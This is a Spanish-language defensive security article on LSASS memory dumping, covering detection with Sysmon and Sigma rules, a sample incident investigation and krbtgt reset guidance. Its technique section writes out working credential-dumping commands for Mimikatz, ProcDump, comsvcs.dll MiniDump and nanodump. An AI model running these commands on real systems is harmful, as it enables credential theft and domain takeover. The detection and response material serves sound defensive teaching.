LSASS Dump: Investigación de Robo de Credenciales
Investigación completa de robo de credenciales vía LSASS dump: técnicas de volcado (Mimikatz, ProcDump, comsvcs.
LSASS como objetivo
TL;DR: El LSASS dump es una técnica de robo de credenciales que extrae datos de autenticación críticos como hashes NTLM y tickets Kerberos directamente de la memoria de Windows. Mediante el uso de herramientas como Mimikatz o comsvcs.dll, los atacantes pueden comprometer identidades de administradores de dominio para obtener control total de la red. Es fundamental implementar detecciones basadas en Sysmon Event ID 10 y realizar respuestas de incidentes que incluyan el reset de la cuenta krbtgt.
LSASS (Local Security Authority Subsystem Service, lsass.exe) es el proceso central de autenticación en Windows. Se ejecuta como SYSTEM y almacena en memoria:
- Hashes NTLM de usuarios autenticados localmente
- Tickets Kerberos (TGT y TGS) de sesiones activas
- Credenciales en texto claro (en configuraciones con WDigest habilitado)
- Credenciales de cuentas de servicio que se ejecutan en la máquina
- Tokens de autenticación de sesiones interactivas y de red
Comprometer LSASS en un servidor donde se ha autenticado un Domain Admin es equivalente a obtener las llaves del reino: el atacante puede moverse lateralmente, escalar privilegios y establecer persistencia a nivel de dominio.
Técnicas de volcado de LSASS
Técnica 1: Mimikatz (la más conocida)
Mimikatz accede directamente a la memoria de LSASS para extraer credenciales:
# Ejecución clásica de Mimikatz
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
# Output típico:
Authentication Id : 0 ; 999999 (00000000:000f423f)
Session : Interactive from 1
User Name : admin.jones
Domain : CORP
Logon Server : DC-01
SID : S-1-5-21-...
msv :
[00000003] Primary
* Username : admin.jones
* Domain : CORP
* NTLM : aad3b435...5404ee
* SHA1 : 2a3b4c5d...6e7f8a9b
kerberos :
* Username : admin.jones
* Domain : CORP.LOCAL
* Password : [REDACTED] ← texto claro si WDigest habilitado
tspkg :
* Username : admin.jones
* Domain : CORP
* Password : [REDACTED]
Perfil de detección: alto. Mimikatz es ampliamente detectado por firmas AV, reglas YARA, y EDR. Los atacantes frecuentemente lo ofuscan, lo inyectan en memoria o usan variantes como Pypykatz.
Técnica 2: ProcDump (Sysinternals)
ProcDump es una herramienta legítima de Sysinternals que puede volcar la memoria de cualquier proceso:
# Volcado de LSASS con ProcDump
procdump.exe -accepteula -ma lsass.exe lsass_dump.dmp
# Variante para evadir detección por nombre
procdump.exe -accepteula -ma -r lsass.exe dump.dmp
# El atacante luego transfiere el .dmp a su máquina
# y lo analiza offline con Mimikatz:
mimikatz.exe
sekurlsa::minidump lsass_dump.dmp
sekurlsa::logonpasswords
Perfil de detección: medio. ProcDump es legítimo pero el acceso a LSASS genera Event ID 10 en Sysmon.
Técnica 3: comsvcs.dll (Living off the Land)
comsvcs.dll es una DLL legítima del sistema que incluye una función MiniDump:
# Obtener PID de LSASS
$lsassPID = (Get-Process lsass).Id
# Volcado usando rundll32 + comsvcs.dll
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump $lsassPID C:\temp\dump.bin full
# Variante con PowerShell
rundll32.exe comsvcs.dll, "#24" $lsassPID C:\temp\out.bin full
Perfil de detección: medio-bajo. Usa binarios legítimos del sistema (LOLBAS), lo que dificulta la detección basada en firmas. Requiere detección por comportamiento.
Técnica 4: nanodump
nanodump utiliza syscalls directas para evadir los hooks que los EDR colocan en las funciones de la API de Windows:
# nanodump evita hooks de EDR usando:
# - Syscalls directas (no pasa por ntdll.dll hookeada)
# - Volcado parcial de LSASS (solo las páginas necesarias)
# - Cifrado del dump en memoria antes de escribir a disco
# - Nombre de archivo aleatorio
nanodump.exe --write C:\temp\[random].log --valid
Perfil de detección: bajo. Diseñado específicamente para evadir EDR. La detección requiere monitorización a nivel de kernel o análisis de comportamiento avanzado.
Técnica 5: Task Manager (la más simple)
En sistemas sin restricciones, un usuario con privilegios de administrador puede volcar LSASS directamente desde el Task Manager:
1. Abrir Task Manager como administrador
2. Pestaña "Detalles"
3. Click derecho en lsass.exe
4. "Create dump file"
5. El volcado se guarda en %TEMP%\lsass.DMP
Perfil de detección: bajo. Es una funcionalidad legítima del sistema.
Detección con Sysmon Event ID 10
Sysmon Event ID 10 (Process Access) es el evento más relevante para detectar acceso a LSASS:
Configuración de Sysmon
<Sysmon schemaversion="4.90">
<EventFiltering>
<ProcessAccess onmatch="include">
<!-- Monitorizar accesos a LSASS -->
<TargetImage condition="is">C:\Windows\System32\lsass.exe</TargetImage>
</ProcessAccess>
<ProcessAccess onmatch="exclude">
<!-- Excluir accesos legítimos conocidos -->
<SourceImage condition="is">C:\Windows\System32\svchost.exe</SourceImage>
<SourceImage condition="is">C:\Windows\System32\csrss.exe</SourceImage>
<SourceImage condition="is">C:\Windows\System32\wininit.exe</SourceImage>
<SourceImage condition="is">C:\Windows\System32\lsm.exe</SourceImage>
<SourceImage condition="is">C:\Program Files\Windows Defender\MsMpEng.exe</SourceImage>
</ProcessAccess>
</EventFiltering>
</Sysmon>
Evento típico de volcado de LSASS
<Event>
<EventID>10</EventID>
<EventData>
<SourceProcessId>7824</SourceProcessId>
<SourceImage>C:\Users\Public\procdump.exe</SourceImage>
<TargetProcessId>672</TargetProcessId>
<TargetImage>C:\Windows\System32\lsass.exe</TargetImage>
<GrantedAccess>0x1FFFFF</GrantedAccess>
<CallTrace>
C:\Windows\SYSTEM32\ntdll.dll+9c4e4|
C:\Windows\System32\KERNELBASE.dll+2c13e|
C:\Users\Public\procdump.exe+1234
</CallTrace>
</EventData>
</Event>
Valores de GrantedAccess sospechosos
0x1FFFFF = PROCESS_ALL_ACCESS (más sospechoso)
0x1010 = PROCESS_QUERY_LIMITED_INFORMATION | PROCESS_VM_READ
0x1410 = 0x1010 + PROCESS_QUERY_INFORMATION
0x1438 = Patrón típico de Mimikatz
0x1F1FFF = Variante de acceso completo
Accesos legítimos típicos:
0x1000 = PROCESS_QUERY_LIMITED_INFORMATION (normal para taskmgr)
0x0400 = PROCESS_QUERY_INFORMATION (normal para svchost)
Reglas Sigma para detección
Regla 1: Acceso sospechoso a LSASS
title: Suspicious LSASS Process Access
id: lsass-access-001
status: stable
description: >
Detecta acceso a la memoria de LSASS desde procesos
que no deberían necesitar ese nivel de acceso
logsource:
category: process_access
product: windows
detection:
selection:
TargetImage|endswith: '\lsass.exe'
GrantedAccess|contains:
- '0x1FFFFF'
- '0x1F1FFF'
- '0x1010'
- '0x1438'
filter_legitimate:
SourceImage|endswith:
- '\csrss.exe'
- '\wininit.exe'
- '\wmiprvse.exe'
- '\svchost.exe'
- '\MsMpEng.exe'
- '\MRT.exe'
SourceImage|startswith:
- 'C:\Program Files\CrowdStrike\'
- 'C:\Program Files\SentinelOne\'
- 'C:\Program Files (x86)\Trend Micro\'
condition: selection and not filter_legitimate
level: critical
tags:
- attack.credential_access
- attack.t1003.001
Regla 2: comsvcs.dll MiniDump
title: LSASS Dump via comsvcs.dll MiniDump
id: lsass-comsvcs-001
status: stable
description: >
Detecta el uso de comsvcs.dll para volcar la memoria
de LSASS (técnica Living off the Land)
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine|contains|all:
- 'comsvcs'
- 'MiniDump'
ParentImage|endswith:
- '\cmd.exe'
- '\powershell.exe'
- '\pwsh.exe'
condition: selection
level: critical
tags:
- attack.credential_access
- attack.t1003.001
- attack.t1218.011
Regla 3: ProcDump apuntando a LSASS
title: ProcDump Targeting LSASS
id: lsass-procdump-001
status: stable
description: Detecta ProcDump volcando la memoria de LSASS
logsource:
category: process_creation
product: windows
detection:
selection_tool:
Image|endswith:
- '\procdump.exe'
- '\procdump64.exe'
CommandLine|contains:
- 'lsass'
selection_renamed:
OriginalFileName:
- 'procdump'
CommandLine|contains:
- 'lsass'
condition: selection_tool or selection_renamed
level: critical
tags:
- attack.credential_access
- attack.t1003.001
Regla 4: Creación de archivo de volcado LSASS
title: LSASS Memory Dump File Created
id: lsass-file-create-001
status: stable
description: Detecta la creación de archivos de volcado de LSASS
logsource:
category: file_creation
product: windows
detection:
selection:
TargetFilename|contains:
- 'lsass'
TargetFilename|endswith:
- '.dmp'
- '.dump'
- '.bin'
- '.log'
- '.tmp'
filter_wer:
TargetFilename|contains: '\Windows\WER\'
condition: selection and not filter_wer
level: high
tags:
- attack.credential_access
- attack.t1003.001
Escenario de investigación
Alerta inicial
El SIEM genera una alerta basada en la regla Sigma lsass-access-001:
ALERTA CRÍTICA: Acceso sospechoso a LSASS
Timestamp: 2026-05-20 03:42:17 UTC
Host: SRV-APP-03
Source Process: C:\Users\Public\svc_update.exe (PID 8412)
Target Process: C:\Windows\System32\lsass.exe (PID 672)
GrantedAccess: 0x1FFFFF (PROCESS_ALL_ACCESS)
User: CORP\svc-monitoring
Triage
# 1. Verificar el proceso sospechoso
Get-Process -Id 8412 | Format-List *
# Resultado: svc_update.exe, sin firma digital, 2.1 MB
# 2. Verificar hash del archivo
Get-FileHash C:\Users\Public\svc_update.exe -Algorithm SHA256
# SHA256: a7b8c9d0...e1f2a3b4 (desconocido en VirusTotal)
# 3. Verificar conexiones de red del proceso
Get-NetTCPConnection -OwningProcess 8412
# Conexión establecida hacia 194.147.142[.]x:443
# 4. Verificar archivos creados recientemente en el directorio
Get-ChildItem C:\Users\Public\ -Recurse |
Where-Object { $_.LastWriteTime -gt (Get-Date).AddHours(-24) }
# svc_update.exe (2.1 MB, creado hace 3 horas)
# output.bin (48 MB, creado hace 2 minutos) ← volcado LSASS
Análisis forense
# 5. Verificar cómo llegó svc_update.exe al sistema
# Revisar Sysmon Event ID 11 (File Create)
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-Sysmon/Operational'
ID=11
} | Where-Object {
$_.Properties[5].Value -match 'svc_update'
} | Format-List TimeCreated, Message
# Resultado: archivo creado por powershell.exe
# ejecutado por CORP\svc-monitoring vía WinRM
Reconstrucción del ataque
Timeline reconstruido:
03:30 UTC - Atacante se autentica con credenciales de svc-monitoring vía WinRM
03:35 UTC - PowerShell descarga svc_update.exe desde C2
03:40 UTC - svc_update.exe se ejecuta (Mimikatz ofuscado)
03:42 UTC - Acceso a LSASS (Sysmon EID 10)
03:42 UTC - output.bin creado (volcado de LSASS)
03:44 UTC - output.bin exfiltrado al C2 (194.147.142[.]x)
03:45 UTC - output.bin eliminado del disco
Análisis de impacto
Verificar qué cuentas estaban autenticadas en SRV-APP-03 en el momento del volcado:
# Sesiones activas en el momento del incidente
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4624
StartTime=(Get-Date '2026-05-20 02:00:00')
EndTime=(Get-Date '2026-05-20 04:00:00')
} | Where-Object {
$_.Properties[8].Value -in @(2, 10, 11) # Interactive, RemoteInteractive, CachedInteractive
} | Select-Object TimeCreated,
@{N='User';E={$_.Properties[5].Value + '\' + $_.Properties[6].Value}}
Cuentas comprometidas:
admin.jones Domain Admin ← CRÍTICO
svc-sql Service Account ← Acceso a bases de datos
svc-monitoring Service Account ← Usada para el acceso inicial
user.garcia Standard User ← Bajo riesgo
Contención: el proceso KRBTGT reset
Dado que una cuenta de Domain Admin fue comprometida, existe el riesgo de Golden Ticket. El procedimiento de contención incluye:
Paso 1: Aislamiento inmediato
1. Aislar SRV-APP-03 de la red
2. Revocar la sesión de svc-monitoring (forzar logoff)
3. Deshabilitar la cuenta svc-monitoring
4. Reset de contraseña de admin.jones
5. Reset de contraseña de svc-sql
Paso 2: Primer reset de KRBTGT
# En el Domain Controller, como Domain Admin
# PRECAUCIÓN: esto invalida TODOS los tickets Kerberos activos
# Paso 2a: Verificar la fecha del último cambio de KRBTGT
Get-ADUser krbtgt -Properties PasswordLastSet |
Select-Object PasswordLastSet
# Si nunca fue cambiado, el riesgo es máximo
# Paso 2b: Primer reset
Set-ADAccountPassword -Identity krbtgt -Reset `
-NewPassword (ConvertTo-SecureString -AsPlainText "[NUEVA_PASSWORD]" -Force)
# Paso 2c: Documentar timestamp del reset
Get-Date -Format "yyyy-MM-dd HH:mm:ss UTC"
Paso 3: Esperar y segundo reset
# Esperar MÍNIMO 12 horas (idealmente 24 horas)
# Esto permite que los tickets Kerberos legítimos caduquen y se renueven
# Tras la espera, ejecutar el segundo reset:
Set-ADAccountPassword -Identity krbtgt -Reset `
-NewPassword (ConvertTo-SecureString -AsPlainText "[OTRA_PASSWORD]" -Force)
Paso 4: Verificación post-reset
# Verificar que los dos últimos cambios de password son recientes
Get-ADUser krbtgt -Properties PasswordLastSet, Modified |
Select-Object PasswordLastSet, Modified
# Monitorizar Event ID 4769 (Kerberos Service Ticket)
# para detectar tickets con encryption type RC4 (posible Golden Ticket)
Get-WinEvent -FilterHashtable @{
LogName='Security'
ID=4769
} | Where-Object {
$_.Properties[5].Value -eq '0x17' # RC4 encryption
} | Select-Object TimeCreated, Message
IOCs del escenario
Hashes
svc_update.exe (Mimikatz ofuscado) a7b8c9d0...e1f2a3b4
output.bin (volcado LSASS) [efímero, eliminado]
Red
194.147.142[.]x:443 C2 y destino de exfiltración
Artefactos
C:\Users\Public\svc_update.exe Mimikatz renombrado
C:\Users\Public\output.bin Volcado LSASS (eliminado)
Sesión WinRM desde IP externa
Cuentas comprometidas
CORP\admin.jones Domain Admin (hash NTLM expuesto)
CORP\svc-sql Service Account (hash NTLM expuesto)
CORP\svc-monitoring Cuenta usada para acceso inicial
Mapeo MITRE ATT&CK
| Táctica | Técnica | ID | Detalle |
|---|---|---|---|
| Credential Access | OS Credential Dumping: LSASS Memory | T1003.001 | Volcado de LSASS con Mimikatz ofuscado |
| Execution | Command and Scripting Interpreter: PowerShell | T1059.001 | Descarga del payload vía PowerShell |
| Lateral Movement | Remote Services: Windows Remote Management | T1021.006 | Acceso inicial vía WinRM |
| Defense Evasion | Masquerading: Rename System Utilities | T1036.003 | Mimikatz renombrado como svc_update.exe |
| Exfiltration | Exfiltration Over C2 Channel | T1041 | Volcado LSASS enviado al C2 |
| Collection | Data from Local System | T1005 | Recolección de credenciales |
Medidas preventivas
Protecciones contra volcado de LSASS
- Credential Guard: habilitar en Windows 10/11 Enterprise y Server 2016+, aísla LSASS en un entorno virtualizado (VBS)
- RunAsPPL: configurar LSASS como Protected Process Light (
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = 1) - Deshabilitar WDigest: prevenir credenciales en texto claro (
HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential = 0) - Windows Defender Attack Surface Reduction: regla "Block credential stealing from LSASS"
Detección y monitorización
- Sysmon Event ID 10: configurar con exclusiones precisas para reducir ruido
- Windows Event ID 4656: auditar accesos a objetos del sistema
- EDR: habilitar protección de LSASS en la solución EDR
- Reglas Sigma: desplegar las 4 reglas documentadas en este artículo
Reducción de exposición
- Evitar autenticaciones interactivas de Domain Admin en servidores
- Tiered Admin Model: separar cuentas de administración por nivel
- Cuentas de servicio gestionadas (gMSA): rotación automática de credenciales
- PAM (Privileged Access Management): acceso just-in-time con expiración
Preguntas frecuentes
Artículos relacionados
Detectar Cobalt Strike Beacon en Red: Guía de Threat Hunting
Conti: De Cobalt Strike a Exfiltración y Cifrado en 72 Horas
Process Hollowing: Detección con Volatility y Análisis
Threat Hunting: Movimiento Lateral con Sysmon y SIEM
Reglas Sigma: Guía de Sintaxis con Caso Práctico (2026)
Sigma para lateral movement: 8 reglas de deteccion
Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.